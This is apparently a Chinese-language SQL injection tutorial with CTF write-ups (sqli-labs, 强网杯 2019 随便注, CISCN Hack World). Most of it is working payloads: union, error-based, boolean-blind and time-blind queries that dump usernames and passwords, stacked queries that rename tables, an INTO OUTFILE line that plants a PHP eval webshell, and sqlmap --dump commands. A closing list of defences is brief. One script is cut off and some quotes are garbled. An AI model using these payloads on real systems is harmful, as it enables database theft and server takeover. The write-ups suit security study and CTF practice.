sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行
注入时信息收集
mysql的版本5.0以上才有information_schema数据库
- 信息收集:
查询数据库 version()
数据库名字 databaase()
数据库用户 user()
操作系统 @@version_compile_os
跨库查询:目标网站的同一个服务器中如果存在一个网站的数据库是使用root权限连接的,且存在sql注入漏洞,就会有被跨库攻击的风险。数据库名存放在information_schema.schemata表中的schema_name字段,查询方式和查表名一致
mysql基本知识
mysql有个自带的数据库:information_schema,该数据库下面有表:tables和columns和schemata。
tables表中有个字段:table_name 是所有数据库存在的表名
columns表中有个字段:column_name 是所有列名
schemata表中:schema_name 是所有数据库名
1 | SHOW TABLES FROM information_schema; |
注释:
-- 空格
和#
SELECT
1
2
3
4
5
6
7SELECT NOW(); //查时间
SELECT DATABASE(); //查看当前数据库
SELECT VERSION(); //查看版本
SELECT USER(); //查看当前登录数据库的用户
SELECT @@datadir; //查看数据路径
SELECT @@basedir; //查看mysql安装路径
SELECT @@version_compile_os; //查看mysql安装的系统
注入点类型判断
- 数字型
- 字符型
数字型判断
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断: - Url 地址中输入
/abc.php?id= x and 1=1
页面依旧运行正常 - Url 地址中继续输入
/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
当输入 and 1=1
时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断
- Url 地址中输入
/abc.php?id= x' and '1'='1
页面运行正常 - Url 地址中继续输入
/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
同样可以使用假设法来验证
联合注入
以下是字符型的情况:
1、判断列数?id=1'order by 3 --+
2、判断显示位,就是看哪一列会显示在屏幕上?id=-1'union select 1,2,3--+
3、数据库名?id=-1'union select 1,database(),3--+
4、该数据库下的表名
1 | ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ |
5、待查表的字段名
1 | ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+ |
6、数据?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
报错注入
- updatexml()是更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)updatexml(1,concat(0x7e,(select database()),0x7e),1)
实际上这里是去更新xml文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入了特殊字符,因为不符合输入规则所以报错,但是报错的时候其实已经执行了子查询语句,并从报错信息中显示出来
数据库名?id=1' or updatexml(1,concat('~',(select database()),'~'),1) --+
表名
1 | ?id=1' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),1) --+ |
字段
1 | ?id=1' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1),'~'),1) --+ |
数据
1 | ?id=1' or updatexml(1,concat('~',(select password from users limit 0,1),'~'),1) --+ |
ps:
- 报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
- 建议使用or,因为and如果两条语句有一条是false,就会判定为false,如果前面的条件不成立,后面的语句就不会执行
报错注入显示不全问题解决
使用mid函数?wllm=1' or updatexml(1,concat('~',mid((select group_concat(flag) from test_tb),1,31),'~'),1) --+
?wllm=1' or updatexml(1,concat('~',mid((select group_concat(flag) from test_tb),32,31),'~'),1) --+
用mid函数包含查询内容,第二个参数规定开始位置,第三个参数是返回的字符个数
写入读取文件
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有三个:
into dumpfile()、into outfile()、load_file()
这些都是需要设置secure_file_priv=,如果为空则可以指定任意目录,如果有设置等于某个路径就只能在这个路径下写入,如果为null则禁止导入导出功能
可以往里面写马
1 | ?id=1'))union select 1,"<?php @eval($_POST['attack']);?>",3 into outfile "D://phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php" --+ |
也可以直接把想要查询的内容导出
1 | ?id=-1')) union select 1,2,group_concat(username, "~",password) from users into outfile "D://phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/outfile.txt" --+ |
常见写入文件问题:魔术引号开关
magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,影响文件路径
解决方式:16进制编码
布尔盲注
没有显错位的时候可以尝试使用盲注的方式
下面介绍一些盲注相关的函数
length():返回字符串的长度
substr():截取字符串
ascii():返回字符的ascii码
sleep():将程序挂起一段时间
if(1,2,3):判断1成立就执行2,不成立就执行3
数据库长度?id=1'and (length(database()))=1 --+
数据库名称?id=1'and ascii(substr(database(),1,1))=100 --+
表名
1 | ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+ |
字段名
1 | ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+ |
1 | ?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='i' --+ |
可以使用字符判断也可以使用字符本身,每个字段名会被隔开,所以中间会有不在a~z范围内的,当然也可以一个一个查
数据
1 | ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ |
时间盲注
如果输入什么,页面回显都不变可以考虑使用时间盲注
判断参数构造?id=1' and if(1=1,sleep(5),1)--+
库名长度?id=1'and if(length((select database()))=8,sleep(5),1)--+
数据库名称?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
表名
1 | ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=100,sleep(5),1)--+ |
字段名
1 | ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=100,sleep(5),1)--+ |
数据
1 | ?id=1' and if(ascii(substr((select username from users),1,1))=100,sleep(5),1)--+ |
post型
万能密码:’or 1=1 #
联合注入
判断列数' or 1=1 order by 3#
判断显示位' union select 1,2 #
后面和get型相同
‘union select 1,database()#
参数类型
数字型、字符型,括号尝试
搜索框中参数可能是'%查询%'
这样的,所以要%的闭合
[强网杯 2019]随便注
1’ and 1=1 –+
1’ and 1=2 –+
判断出存在sql注入
1’order by 3 –+ //判断列数是2
1’union select 1,2 –+ //尝试联合注入
回显内容:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
尝试堆叠注入
1’;show databases; –+
由上面可知,extractvalue没有被过滤1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
//显示现在访问的数据库名称
1 | error 1105 : XPATH syntax error: '~supersqli~' |
是flag所在的数据库,所以直接查看表名
0’; show tables; #
两个表:words、1919810931114514
1’; show columns from words; #
1’; show columns from 1919810931114514
; # //表名是数字的用反引号包裹
words:
1919810931114514:
我们需要读取的是第二个表内的flag字段的内容,所以思路是:
查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)
1 | 0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);# |
第二种方法
1 | 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
在SQL语句中使用了一个变量@a,并将一个十六进制值赋给了这个变量,使用了prepare语句,将之前赋值给变量@a的十六进制值转换为可执行的SQL语句,执行之前准备好的SQL语句
prepare from是预处理语句,会进行编码转换
execute用来执行由SQLPrepare创建的SQL语句
第三种方法:
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
将表名1919810931114514通过别名a的方式打开,以别名a的形式读取下一条记录
[CISCN2019 华北赛区 Day2 Web1]Hack World
输入1或2都有回显,输入其他的会显示error,那么先试一下万能密码1'or 1=1 #
,发现回显sql注入检查,所以是有过滤,fuzz测试一下
这些长度一样的都是被过滤的,–+和#都被过滤了
输入1’,回显bool(false),说明提示布尔盲注,两个新姿势:
1 | if(1=1,1,2):若第一个成立就指向第二个 |
空格被过滤,所以用()代替
然后就是编写脚本了
1 | import requests |
or updatexml(1,concat(‘‘,(select group_concat(table_name) from information_schema.tables where table_schema=’fakebook’ ),’‘),1)
?id=1’ or updatexml(1,concat(‘‘,(select group_conca(column_name) from information_schema.columns where table_schema=’fakebook’and table_name=’users’ ),’‘),1) –+
or updatexml(1,concat(‘‘,(select left(passwd,30) from users ),’‘),1) –+
sqlmap使用
1、查询数据库 sqltest
一定要跟上注入点的urlpython sqlmap.py -u "http://127.0.0.1/sqls/?id=2" --current-db
2、查数据表python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest --tables
3、查数据列python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest -T admin --columns
4、查数据python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest -T admin -C user,pwd --dump
//–后面跟待查内容,current-db整体代表当前数据库,–batch:无交互行为
NoSQLAttack是一个python编写的专门用于对MongoDB数据库进行SQL注入的渗透测试工具,非常简单好用,并且极大的弥补了sqlmap的不足(sqlmap不能对MongoDB数据库进行渗透)
相关防注入:
自带防御:魔术引号
内置函数: int等
自定义关键字: select
WAF防护软件:安全狗,宝塔
请求方式request既可以接收get也可以接收postget、request、post、cookies、http头部($_SERVER全局变量)、json数据格式请求
$_SERVER用法
如果使用这个变量接收了用户的信息,并带入数据库查询,就可能存在注入漏洞$_SERVER['HTTP_USER_AGENT']
//当前请求的 User_Agent: 头部的内容,注入点在http请求头的User_Agent
json就是和参数=值的表达类型不一样而已
1 | a=1' and 1=1 &b=1&c=1 |
SELECT * FROM users WHERE username= ‘{$username}’,{是格式,只要闭合’
其他数据库
注入流程: